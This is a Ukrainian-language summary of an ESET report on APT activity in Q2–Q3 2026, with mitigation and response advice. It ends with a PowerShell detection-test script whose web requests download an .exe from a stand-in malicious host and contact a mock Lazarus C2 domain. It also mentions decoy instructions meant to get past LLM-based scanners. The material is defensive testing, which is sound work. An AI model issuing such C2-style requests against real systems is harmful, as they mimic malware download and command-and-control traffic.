Звіт про діяльність APT ESET за Q2–Q3 2026: Ключові кампанії та тенденції

Резюме

Цей звіт окреслює широкий спектр активностей APT, які спостерігалися між квітнем та вереснем 2026 року. Ключові тенденції включають групи, пов’язані з Китаєм, які націлені на урядові та напівпровідникові організації, поновлену активність від акторів, пов’язаних з Іраном, таких як OilRig, та кампанії Північної Кореї, зосереджені на технологіях і криптовалютах. У звіті також відзначається зростання оперативної координації між групами, пов’язаними з Росією та Білоруссю, особливо проти цілей в Україні.

Розслідування

Дослідники ESET проаналізували телеметрію для відстеження кількох кластерів загроз у різних регіонах. Розслідування включало ідентифікацію нових сімейств шкідливих програм, дослідження компрометацій ланцюга постачання програмного забезпечення та моніторинг використання інструментів штучного інтелекту у робочих процесах супротивника. Дослідники також аналізували зразки у інфраструктурі, розробці інструментів та зміни у поведінці націлювання.

Пом’якшення

Організації повинні посилити безпеку ланцюга постачання програмного забезпечення та моніторити кампанії соціальної інженерії, зорієнтовані на рекрутмент. Важливо також захистити поштові сервери MDaemon від експлуатації та захистити пристрої на Android від шпигунських програм на основі імітації. Команди з безпеки повинні також враховувати техніки обфускації за допомогою ШІ при аналізі підозрілих скриптів та навантажень.

Відповідь

Коли виявляється підозріла активність, організації повинні проводити детальний судово-медичний аналіз скриптів, сховищ і ураженого програмного забезпечення. Респондери на інциденти повинні враховувати техніки обфускації, керовані ШІ, включаючи приманкові інструкції, призначені для обходу сканерів на основі LLM. Потенційні компрометації ланцюга постачання повинні бути негайно стримані та розслідані, щоб запобігти подальшим крадіжкам облікових даних та несанкціонованому доступу.

Виконання імітації

• Наратив атаки та команди: Імітаційний нападник прагне імітувати відомі індикатори Turla та Lazarus Group, щоб перевірити, чи може SOC виявити певні, заздалегідь закодовані рядки. По-перше, нападник імітує запит навантаження в стилі Turla, намагаючись досягти URL з певним рядком “Turla’s VBScript Rezzuar”. По-друге, нападник імітує зворотний дзвінок фішингу, що стосується рекрутменту групи Lazarus, відправивши HTTP-запит з високо налаштованим рядком User-Agent: “Lazarus Group Recruitment”. Це імітує поведінку скомпрометованої системи, що спілкується з C2 або спеціалізованою фішинговою цільовою сторінкою.

• Скрипт регресійного тестування:

  # Імітація TTP Turla (відповідність URL)
  Write-Host "[+] Імітуємо індикатор URL Turla..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Імітація TTP Lazarus (відповідність User-Agent)
  Write-Host "[+] Імітуємо індикатор User-Agent Lazarus..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• Команди очищення:

  # Симуляція не створює постійних артефактів, оскільки використовує лише запити з пам'яті.
  Write-Host "[+] Симуляція завершена. Очищення не потрібно."